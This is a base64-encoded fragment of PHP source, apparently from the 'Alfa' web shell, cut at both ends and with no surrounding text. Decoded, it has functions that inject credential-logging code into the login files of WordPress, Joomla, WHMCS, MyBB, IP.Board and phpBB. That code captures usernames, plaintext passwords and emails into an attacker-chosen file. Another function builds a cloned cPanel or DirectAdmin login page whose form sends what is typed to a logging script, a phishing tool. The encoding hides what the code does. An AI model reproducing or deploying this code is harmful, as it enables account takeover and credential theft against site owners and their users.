bGVfZ2V0X2NvbnRlbnRzKCRjbGFzcyk7CmlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGRvbG9naW4pIHx8IHN0cnN0cigkZGF0YV9jbGFzcywgJGNsZWFycHcpKXsKJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZG9sb2dpbiwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwokY2xhc3NfcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCRjbGVhcnB3LCRldmlsX2NsYXNzLCAkZGF0YV9jbGFzcyk7CkBmaWxlX3B1dF9jb250ZW50cygkbG9naW4sICRsb2dpbl9yZXBsYWNlKTsKQGZpbGVfcHV0X2NvbnRlbnRzKCRjbGFzcywgJGNsYXNzX3JlcGxhY2UpOwpoaWphY2tPdXRwdXQoMCwkc2F2ZXRvKTsKfWVsc2V7CmhpamFja091dHB1dCgxKTsKfQp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn0KZnVuY3Rpb24gaGlqYWNrd3AoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJyRhbGZhX2ZpbGU9IntzYXZldG9fcGF0aH0iOyRmcCA9IGZvcGVuKCRhbGZhX2ZpbGUsICJhKyIpO2Z3cml0ZSgkZnAsICRfUE9TVFtcJ2xvZ1wnXS4iIDogIi4kX1BPU1RbXCdwd2RcJ10uIiAoIi4oJHVzZXItPnVzZXJfZW1haWwpLiIpXG4iKTtmY2xvc2UoJGZwKTskZiA9IEBmaWxlKCRhbGZhX2ZpbGUpOyRuZXcgPSBhcnJheV91bmlxdWUoJGYpOyRmcCA9IEBmb3BlbigkYWxmYV9maWxlLCAidyIpO2ZvcmVhY2goJG5ldyBhcyAkdmFsdWVzKXtAZnB1dHMoJGZwLCAkdmFsdWVzKTt9QGZjbG9zZSgkZnApOyc7CiRyZWRpcmVjdF93cCA9ICcjaWZbIF17MCx9XChbIF17MCx9IVsgXXswLH1pc193cF9lcnJvclwoWyBdezAsfVwkdXNlclsgXXswLH1cKVsgXXswLH0mJlsgXXswLH0hWyBdezAsfVwkcmVhdXRoWyBdezAsfVwpWyBdezAsfXsjJzsKJGNvZGU9c3RyX3JlcGxhY2UoJ3tzYXZldG9fcGF0aH0nLCRzYXZldG8sJGNvZGUpOwokbG9naW49JHBhdGguIi93cC1sb2dpbi5waHAiOwppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CmlmKEBwcmVnX21hdGNoKCRyZWRpcmVjdF93cCwgJGRhdGFfbG9naW4sICRtYXRjaCkpewokZXZpbF9sb2dpbiA9ICJcdCIuJG1hdGNoWzBdLiJcblx0Ii4kY29kZTsKJGxvZ2luX3JlcGxhY2UgPSBAcHJlZ19yZXBsYWNlKCRyZWRpcmVjdF93cCwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7CmhpamFja091dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfQpmdW5jdGlvbiBoaWphY2tKb29tbGEoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJzw/cGhwIGppbXBvcnQoXCdqb29tbGEudXNlci5hdXRoZW50aWNhdGlvblwnKTskQWxmYV9hdXRoID0gJiBKQXV0aGVudGljYXRpb246OmdldEluc3RhbmNlKCk7JEFsZmFfZGF0YSA9IGFycmF5KFwndXNlcm5hbWVcJz0+JF9QT1NUW1wndXNlcm5hbWVcJ10sXCdwYXNzd29yZFwnPT4kX1BPU1RbXCdwYXNzd2RcJ10pOyRBbGZhX29wdGlvbnMgPSBhcnJheSgpOyRBbGZhX3Jlc3BvbnNlID0gJEFsZmFfYXV0aC0+YXV0aGVudGljYXRlKCRBbGZhX2RhdGEsICRBbGZhX29wdGlvbnMpO2lmKCRBbGZhX3Jlc3BvbnNlLT5zdGF0dXMgPT0gMSl7JGFsZmFfZmlsZT0ie3NhdmV0b19wYXRofSI7JGZwPUBmb3BlbigkYWxmYV9maWxlLCJhKyIpO0Bmd3JpdGUoJGZwLCAkQWxmYV9yZXNwb25zZS0+dXNlcm5hbWUuIjoiLiRfUE9TVFtcJ3Bhc3N3ZFwnXS4iICggIi4kQWxmYV9yZXNwb25zZS0+ZW1haWwuIiApXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkYWxmYV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGFsZmFfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZwdXRzKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTt9Pz4nOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRjb21wPSRwYXRoLiIvYWRtaW5pc3RyYXRvci9jb21wb25lbnRzL2NvbV9sb2dpbi8iOwppZihAaXNfZmlsZSgkY29tcC4iL2xvZ2luLnBocCIpKXsKJGxvZ2luID0gJGNvbXAuIi9sb2dpbi5waHAiOwp9ZWxzZWlmKEBpc19maWxlKCRjb21wLiIvYWRtaW4ubG9naW4ucGhwIikpewokbG9naW4gPSAkY29tcC4iL2FkbWluLmxvZ2luLnBocCI7Cn1lbHNlewokbG9naW4gPSAnJzsKfQppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSBBTkQgJGxvZ2luICE9ICcnKXsKJGRhdGFfbG9naW4gPSBAZmlsZV9nZXRfY29udGVudHMoJGxvZ2luKTsKJGV2aWxfbG9naW4gPSAkY29kZS4iXG4iLiRkYXRhX2xvZ2luOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkZXZpbF9sb2dpbik7CmhpamFja091dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn0KZnVuY3Rpb24gaGlqYWNrV2htY3MoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJzw/cGhwIGlmKGlzc2V0KCRfUE9TVFtcJ3VzZXJuYW1lXCddKSBBTkQgaXNzZXQoJF9QT1NUW1wncGFzc3dvcmRcJ10pIEFORCAhZW1wdHkoJF9QT1NUW1wndXNlcm5hbWVcJ10pIEFORCAhZW1wdHkoJF9QT1NUW1wncGFzc3dvcmRcJ10pKXtpZigkYWxmYV9jb25uZWN0PUBteXNxbGlfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkLCRkYl9uYW1lKSl7JGFsZmFfZmlsZSA9ICJ7c2F2ZXRvX3BhdGh9IjskYWxmYV91bmFtZSA9IEAkX1BPU1RbXCd1c2VybmFtZVwnXTskYWxmYV9wdyA9IEAkX1BPU1RbXCdwYXNzd29yZFwnXTtpZihpc3NldCgkX1BPU1RbXCdsYW5ndWFnZVwnXSkpeyRhbGZhX3EgPSAiU0VMRUNUICogRlJPTSB0YmxhZG1pbnMgV0hFUkUgYHVzZXJuYW1lYCA9IFwnJGFsZmFfdW5hbWVcJyBBTkQgYHBhc3N3b3JkYCA9IFwnIi5tZDUoJGFsZmFfcHcpLiJcJyI7JGFkbWluID0gdHJ1ZTt9ZWxzZXskYWxmYV9xID0gIlNFTEVDVCAqIEZST00gdGJsY2xpZW50cyBXSEVSRSBgZW1haWxgID0gXCckYWxmYV91bmFtZVwnIjskYWRtaW4gPSBmYWxzZTt9JGFsZmFfcXVlcnkgPSBteXNxbGlfcXVlcnkoJGFsZmFfY29ubmVjdCwgJGFsZmFfcSk7aWYobXlzcWxpX251bV9yb3dzKCRhbGZhX3F1ZXJ5KSA+IDAgKXskcm93ID0gbXlzcWxpX2ZldGNoX2FycmF5KCRhbGZhX3F1ZXJ5KTskYWxsb3cgPSB0cnVlO2lmKCEkYWRtaW4peyRfX3NhbHQgPSBleHBsb2RlKFwnOlwnLCAkcm93W1wncGFzc3dvcmRcJ10pOyRfX2VuY1BXID0gbWQ1KCRfX3NhbHRbMV0uJF9QT1NUW1wncGFzc3dvcmRcJ10pLlwnOlwnLiRfX3NhbHRbMV07aWYoJHJvd1tcJ3Bhc3N3b3JkXCddID09ICRfX2VuY1BXKXskYWxsb3cgPSB0cnVlOyRyb3dbXCd1c2VybmFtZVwnXSA9ICRyb3dbXCdlbWFpbFwnXTt9ZWxzZXskYWxsb3cgPSBmYWxzZTt9fWlmKCRhbGxvdyl7JGZwID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwLCAkcm93W1wndXNlcm5hbWVcJ10gLiBcJyA6IFwnIC4gICRhbGZhX3B3LiIgKCIgLiAkcm93WyJlbWFpbCJdIC4gIikgOiAiLigkYWRtaW4gPyBcJ2lzX2FkbWluXCcgOiBcJ2lzX3VzZXJcJykuIlxuIik7QGZjbG9zZSgkZnApOyRmID0gQGZpbGUoJGFsZmFfZmlsZSk7JG5ldyA9IGFycmF5X3VuaXF1ZSgkZik7JGZwID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJ3Iik7Zm9yZWFjaCgkbmV3IGFzICR2YWx1ZXMpe0Bmd3JpdGUoJGZwLCAkdmFsdWVzKTt9QGZjbG9zZSgkZnApO319fX0/Pic7CiRjb2RlPXN0cl9yZXBsYWNlKCd7c2F2ZXRvX3BhdGh9Jywkc2F2ZXRvLCRjb2RlKTsKJGNvbmY9JHBhdGguIi9jb25maWd1cmF0aW9uLnBocCI7CmlmKEBpc19maWxlKCRjb25mKSBBTkQgQGlzX3dyaXRhYmxlKCRjb25mKSl7CiRkYXRhX2NvbmYgPSBAZmlsZV9nZXRfY29udGVudHMoJGNvbmYpOwppZighc3Ryc3RyKCRkYXRhX2NvbmYsJz8+JykpJGNvZGUgPSAnPz4nLiRjb2RlOwokZXZpbF9jb25mID0gJGRhdGFfY29uZi4iXG4iLiRjb2RlOwpAZmlsZV9wdXRfY29udGVudHMoJGNvbmYsICRldmlsX2NvbmYpOwpoaWphY2tPdXRwdXQoMCwkc2F2ZXRvKTsKfWVsc2V7CmhpamFja091dHB1dCgxKTsKfQp9CmZ1bmN0aW9uIGhpamFja015YmIoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJyRhbGZhX3EgPSAkZGItPnF1ZXJ5KCJTRUxFQ1QgYGVtYWlsYCBGUk9NICIuVEFCTEVfUFJFRklYLiJ1c2VycyBXSEVSRSBgdXNlcm5hbWVgID0gXCciLiR1c2VyW1wndXNlcm5hbWVcJ10uIlwnIik7JGFsZmFfZmV0Y2ggPSAkZGItPmZldGNoX2FycmF5KCRhbGZhX3EpOyRhbGZhX2ZpbGUgPSAie3NhdmV0b19wYXRofSI7JGZwID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwLCAkdXNlcltcJ3VzZXJuYW1lXCddLiIgOiAiLiAkdXNlcltcJ3Bhc3N3b3JkXCddLiIgKCAiLiRhbGZhX2ZldGNoW1wnZW1haWxcJ10uIiApXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkYWxmYV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGFsZmFfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZ3cml0ZSgkZnAsICR2YWx1ZXMpO31AZmNsb3NlKCRmcCk7JzsKJGZpbmQgPSAnJGxvZ2luaGFuZGxlci0+Y29tcGxldGVfbG9naW4oKTsnOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRsb2dpbj0kcGF0aC4iL21lbWJlci5waHAiOwokZXZpbF9sb2dpbiA9ICJcdCIuJGNvZGUuIlxuXHQiLiRmaW5kOwppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CmlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGZpbmQpKXsKJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZmluZCwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7CmhpamFja091dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfQpmdW5jdGlvbiBoaWphY2tJUEIoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJyRBbGZhX3EgPSAkdGhpcy0+REItPmJ1aWxkQW5kRmV0Y2goYXJyYXkoXCdzZWxlY3RcJyA9PiBcJ2VtYWlsXCcsIFwnZnJvbVwnID0+IFwnbWVtYmVyc1wnLCBcJ3doZXJlXCcgPT4gXCduYW1lPSJcJy4kdXNlcm5hbWUuXCciIE9SIGVtYWlsPSJcJy4kZW1haWwuXCciXCcpKTskQWxmYV9maWxlID0gIntzYXZldG9fcGF0aH0iOyRmcCA9IEBmb3BlbigkQWxmYV9maWxlLCAiYSsiKTtAZndyaXRlKCRmcCwgJF9QT1NUW1wnaXBzX3VzZXJuYW1lXCddLlwnIDogXCcuJF9QT1NUW1wnaXBzX3Bhc3N3b3JkXCddLlwnICggXCcuJEFsZmFfcVtcJ2VtYWlsXCddLlwnIClcJy4iXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkQWxmYV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJEFsZmFfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZwdXRzKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTsnOwokZmluZCA9ICd1bnNldCggJG1lbWJlcltcJ3BsYWluUGFzc3dvcmRcJ10gKTsnOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRsb2dpbj0kcGF0aC4iL2FkbWluL3NvdXJjZXMvaGFuZGxlcnMvaGFuX2xvZ2luLnBocCI7CiRldmlsX2xvZ2luID0gIlx0Ii4kZmluZC4iXG5cdCIuJGNvZGU7CmlmKEBpc19maWxlKCRsb2dpbikgQU5EIEBpc193cml0YWJsZSgkbG9naW4pKXsKJGRhdGFfbG9naW4gPSBAZmlsZV9nZXRfY29udGVudHMoJGxvZ2luKTsKaWYoc3Ryc3RyKCRkYXRhX2xvZ2luLCAkZmluZCkpewokbG9naW5fcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCRmaW5kLCRldmlsX2xvZ2luLCAkZGF0YV9sb2dpbik7CkBmaWxlX3B1dF9jb250ZW50cygkbG9naW4sICRsb2dpbl9yZXBsYWNlKTsKaGlqYWNrT3V0cHV0KDAsJHNhdmV0byk7Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfWVsc2V7CmhpamFja091dHB1dCgxKTsKfQp9CmZ1bmN0aW9uIGhpamFja1BIUEJCKCRwYXRoLCRzYXZldG8pewokY29kZSA9ICckQWxmYV91ID0gcmVxdWVzdF92YXIoXCd1c2VybmFtZVwnLCBcJ1wnKTskQWxmYV9wID0gcmVxdWVzdF92YXIoXCdwYXNzd29yZFwnLCBcJ1wnKTtpZigkQWxmYV91ICE9IFwnXCcgQU5EICRBbGZhX3AgIT0gXCdcJyl7JEFsZmFfcmVzcG9uc2UgPSAkYXV0aC0+bG9naW4oJEFsZmFfdSwkQWxmYV9wKTtpZigkQWxmYV9yZXNwb25zZVtcJ3N0YXR1c1wnXSA9PSBMT0dJTl9TVUNDRVNTKXskQWxmYV9maWxlID0ie3NhdmV0b19wYXRofSI7JGZwID0gQGZvcGVuKCRBbGZhX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwLCAkQWxmYV91LiIgOiAiLiRBbGZhX3AuICIgKCAiLiRBbGZhX3Jlc3BvbnNlW1wndXNlcl9yb3dcJ11bXCd1c2VyX2VtYWlsXCddLiIgKVxuIik7QGZjbG9zZSgkZnApOyRmID0gQGZpbGUoJEFsZmFfZmlsZSk7JG5ldyA9IGFycmF5X3VuaXF1ZSgkZik7JGZwID0gQGZvcGVuKCRBbGZhX2ZpbGUsICJ3Iik7Zm9yZWFjaCgkbmV3IGFzICR2YWx1ZXMpe0BmcHV0cygkZnAsICR2YWx1ZXMpO31AZmNsb3NlKCRmcCk7fX0nOwokZmluZCA9ICdjYXNlIFwnbG9naW5cJzonOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRsb2dpbj0kcGF0aC4iL3VjcC5waHAiOwokZXZpbF9sb2dpbiA9ICJcdCIuJGZpbmQuIlxuXHQiLiRjb2RlOwppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CmlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGZpbmQpKXsKJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZmluZCwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7CmhpamFja091dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfQpmdW5jdGlvbiBoaWphY2tPdXRwdXQoJGM9MCwkcD0nJyl7ZWNobygkYz09MD8iPGNlbnRlcj48Zm9udCBjb2xvcj0nZ3JlZW4nPlN1Y2Nlc3M8L2ZvbnQ+IC0tPiBwYXRoOiAkcDwvY2VudGVyPiI6JzxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+RXJyb3IgaW4gaW5qZWN0IGNvZGUgITwvZm9udD48L2NlbnRlcj4nKTt9CmZ1bmN0aW9uIEFsZmFfU3RyU2VhcmNoZXIoJGRpciwkc3RyaW5nLCRleHQsJGUsJGFycj1hcnJheSgpKXsKaWYoQGlzX2RpcigkZGlyKSl7CiRmaWxlcz1Ac2NhbmRpcigkZGlyKTsKZm9yZWFjaCgkZmlsZXMgYXMgJGtleSA9PiAkdmFsdWUpewokcGF0aD1AcmVhbHBhdGgoJGRpci4gRElSRUNUT1JZX1NFUEFSQVRPUiAuJHZhbHVlKTsKaWYoIUBpc19kaXIoJHBhdGgpKXsKaWYoJGV4dCE9JyonKXskZiA9IGJhc2VuYW1lKCRwYXRoKTskZiA9IGV4cGxvZGUoJy4nLCRmKTskZiA9IGVuZCgkZik7aWYoJGYhPSRleHQpY29udGludWU7fQppZigkZT09J3N0cicpewokY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CmlmKHN0cnBvcygkY29udGVudCwgJHN0cmluZykgIT09IGZhbHNlKXsKZWNobyBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCkgLiAiPGJyPiI7Cn0KfWVsc2V7CmlmKHN0cnN0cigkdmFsdWUsJHN0cmluZykpewplY2hvIHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKSAuICI8YnI+IjsKfQp9CiRyZXN1bHRzW10gPSAkcGF0aDsKfWVsc2VpZigkdmFsdWUgIT0gIi4iICYmICR2YWx1ZSAhPSAiLi4iKSB7CkFsZmFfU3RyU2VhcmNoZXIoJHBhdGgsJHN0cmluZywkZXh0LCRlLCRyZXN1bHRzKTsKJHJlc3VsdHNbXSA9ICRwYXRoOwp9fX19CmZ1bmN0aW9uIGFsZmFmYWtlcGFnZSgpewoJYWxmYWhlYWQoKTsKCUFsZmFOdW0oOSwxMCk7CgllY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48YnI+Cgk8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEhvc3QgTWFuYWdlciBGYWtlIHBhZ2UgfDwvZGl2PjwvY2VudGVyPjxicj48YnI+PGZvcm0gb25TdWJtaXQ9ImcoXCdmYWtlcGFnZVwnLG51bGwsdGhpcy5jbG9uZV9wYWdlLnZhbHVlLHRoaXMuZmFrZV9yb290LnZhbHVlLFwnPj5cJyx0aGlzLmxvZ3RvLnZhbHVlLHRoaXMucGFuZWwudmFsdWUsdGhpcy5pbmplY3RfdG8udmFsdWUsdGhpcy5iaW5kX29uLnZhbHVlLHRoaXMuY291bnQudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4KCTxkaXYgY2xhc3M9InR4dGZvbnQiIHN0eWxlPSJwb3NpdGlvbjogcmVsYXRpdmU7bGVmdDogNTAlO3RyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUpOyI+PGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo2cHg7Ij48c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO3dpZHRoOiAxMDZweDsiPlBhbmVsOiA8L3NwYW4+PHNlbGVjdCBzdHlsZT0id2lkdGg6MTAwcHg7IiBuYW1lPSJwYW5lbCI+JzsKCSRjbV9hcnJheSA9IGFycmF5KCJjcGFuZWwiPT4iQ3BhbmVsIiwiZGlyZWN0YWRtaW4iPT4iRGlyZWN0QWRtaW4iKTsKCWZvcmVhY2goJGNtX2FycmF5IGFzICRrZXk9PiR2YWwpZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciPicuJHZhbC4nPC9vcHRpb24+JzsKCWVjaG8oIjwvc2VsZWN0PjwvZGl2PiIpOwoJZWNobyAnPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo2cHg7Ij48c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO3dpZHRoOiAxMDZweDsiPkNsb25lIHBhZ2U6IDwvc3Bhbj48aW5wdXQgc2l6ZT0iNTAiIHR5cGU9InRleHQiIG5hbWU9ImNsb25lX3BhZ2UiIHBsYWNlaG9sZGVyPSJlZzogaHR0cHM6Ly90YXJnZXQuY29tOjIwODMgfCBodHRwczovL3RhcmdldC5jb206MjIyMiI+PC9kaXY+Cgk8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjZweDsiPjxzcGFuPkZha2UgcGFnZSByb290OiA8L3NwYW4+PGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmYWtlX3Jvb3QiIHZhbHVlPSInLiRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uJy9mYWtlX3BhZ2Vfcm9vdC8iPjwvZGl2PgoJPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo2cHg7Ij48c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO3dpZHRoOiAxMDZweDsiPkluamVjdCB0bzogPC9zcGFuPjxpbnB1dCBzaXplPSI1MCIgdHlwZT0idGV4dCIgbmFtZT0iaW5qZWN0X3RvIiB2YWx1ZT0iJy4kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLicvaW5kZXgucGhwIj48L2Rpdj4KCTxkaXYgc3R5bGU9Im1hcmdpbi1ib3R0b206NnB4OyI+PHNwYW4gc3R5bGU9ImRpc3BsYXk6IGlubGluZS1ibG9jazt3aWR0aDogMTA2cHg7Ij5CaW5kIG9uOiA8L3NwYW4+PGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJiaW5kX29uIiBwbGFjZWhvbGRlcj0iZWc6ICcuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nL3dwLWxvZ2luLnBocCI+PC9kaXY+Cgk8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjZweDsiPjxzcGFuIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7d2lkdGg6IDEwNnB4OyI+TG9nIFRvOiA8L3NwYW4+PGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2d0byIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLidsb2dzLnR4dCI+PC9kaXY+Cgk8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjZweDsiPjxzcGFuIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7d2lkdGg6IDEwNnB4OyI+Q291bnQgb2YgSW52YWxpZCBsb2dpbjogPC9zcGFuPjxpbnB1dCBzaXplPSIyMCIgdHlwZT0idGV4dCIgbmFtZT0iY291bnQiIHZhbHVlPSIzIiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48L2Rpdj4KCTxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYnRuIiB2YWx1ZT0iICI+PC9kaXY+PC9kaXY+PC9mb3JtPjxicj4nOwoJJGNsb25lX3BhZ2UgPSAkX1BPU1RbJ2FsZmExJ107CgkkZmFrZV9yb290ID0gJF9QT1NUWydhbGZhMiddOwoJJGxvZ3RvID0gJF9QT1NUWydhbGZhNCddOwoJJHBhbmVsID0gJF9QT1NUWydhbGZhNSddOwoJJGluamVjdF90byA9ICRfUE9TVFsnYWxmYTYnXTsKCSRiaW5kX29uID0gJF9QT1NUWydhbGZhNyddOwoJJGNvdW50ID0gJF9QT1NUWydhbGZhOCddOwoJaWYoIWVtcHR5KCRjbG9uZV9wYWdlKSAmJiAhZW1wdHkoJGZha2Vfcm9vdCkgJiYgIWVtcHR5KCRsb2d0bykgJiYgIWVtcHR5KCRpbmplY3RfdG8pICYmICFlbXB0eSgkYmluZF9vbikgJiYgJF9QT1NUWydhbGZhMyddID09ICc+PicpewoJCWVjaG8gX19wcmUoKTsKCQkkdGFyZ2V0ID0gJGNsb25lX3BhZ2U7CgkJJGN1cmwgPSBuZXcgQWxmYUNVUkwoKTsKCQkkc291cmNlX3BhZ2UgPSAkY3VybC0+U2VuZCgkdGFyZ2V0KTsKCQlpZighZW1wdHkoJHNvdXJjZV9wYWdlKSl7CgkJCSRtYXRjaGVkX2Zvcm0gPSAiIjsKCQkJaWYoJHBhbmVsID09ICJjcGFuZWwiKXsKCQkJCWlmKHByZWdfbWF0Y2goJyM8Zm9ybSguKilpZD0ibG9naW5fZm9ybSIoLiopPiMnLCAkc291cmNlX3BhZ2UsICRtYXRjaCkpewoJCQkJCSRtYXRjaGVkX2Zvcm0gPSAkbWF0Y2hbMF07CgkJCQl9CgkJCX1lbHNlewoJCQkJaWYocHJlZ19tYXRjaCgnIzxmb3JtKC4qPyk+IycsICRzb3VyY2VfcGFnZSwgJG1hdGNoKSl7CgkJCQkJJG1hdGNoZWRfZm9ybSA9ICRtYXRjaFswXTsKCQkJCX0KCQkJfQoJCQlpZighZW1wdHkoJG1hdGNoZWRfZm9ybSkpewoJCQkJJGZha2UgPSAiIjsKCQkJCSRwd2QgPSBzdHJfcmVwbGFjZSgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLCAnJywgJGZha2Vfcm9vdCk7CgkJCQkkdXJpID0gc3RyX3JlcGxhY2UoJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSwgJycsICRpbmplY3RfdG8pOwoJCQkJaWYoJHBhbmVsID09ICJjcGFuZWwiKXsKCQkJCQkkcG9ydCA9ICIyMDgzIjsKCQkJCX1lbHNlewoJCQkJCSR0YXJnZXQgPSBzdHJfcmVwbGFjZShhcnJheSgiaHR0cDovLyIsICJodHRwczovLyIpLCAiIiwgJHRhcmdldCk7CgkJCQkJJHBvcnQgPSBleHBsb2RlKCI6IiwkdGFyZ2V0KTsKCQkJCQkkcG9ydCA9ICRwb3J0WzFdOwoJCQkJfQoJCQkJaWYoc3Vic3RyKCR1cmksIDAsIDEpID09ICIvIil7CgkJCQkJJHVyaSA9IHN1YnN0cigkdXJpLCAxKTsKCQkJCX0KCQkJCSR1cmkgPSAkX1NFUlZFUlsiSFRUUF9PUklHSU4iXSAuICcvJyAuIHN0cl9yZXBsYWNlKCJpbmRleC5waHAiLCAiIiwgJHVyaSkgLiAnPzonIC4gJHBvcnQ7CgkJCQkkbG9nX3VybCA9ICRfU0VSVkVSWyJIVFRQX09SSUdJTiJdIC4gJHB3ZCAuICcvbG9nLnBocCc7CgkJCQlpZigkcGFuZWwgPT0gImNwYW5lbCIpewoJCQkJCSRmb3JtID0gJzxmb3JtIG5vdmFsaWRhdGUgaWQ9ImxvZ2luX2Zvcm0iIGFjdGlvbj0iJy4kbG9nX3VybC4nIiBtZXRob2Q9InBvc3QiIHRhcmdldD0iX3RvcCIgc3R5bGU9InZpc2liaWxpdHk6Ij4nOwoJCQkJfWVsc2V7CgkJCQkJJGZvcm0gPSAnPGZvcm0gYWN0aW9uPSInLiRsb2dfdXJsLiciIG1ldGhvZD0icG9zdCI+JzsKCQkJCX0KCQkJCSRmYWtlID0gc3RyX3JlcGxhY2UoJG1hdGNoZWRfZm9ybSwgJGZvcm0sICRzb3VyY2VfcGFnZSk7CgkJCQlpZihAIWlzX2RpcigkZmFrZV9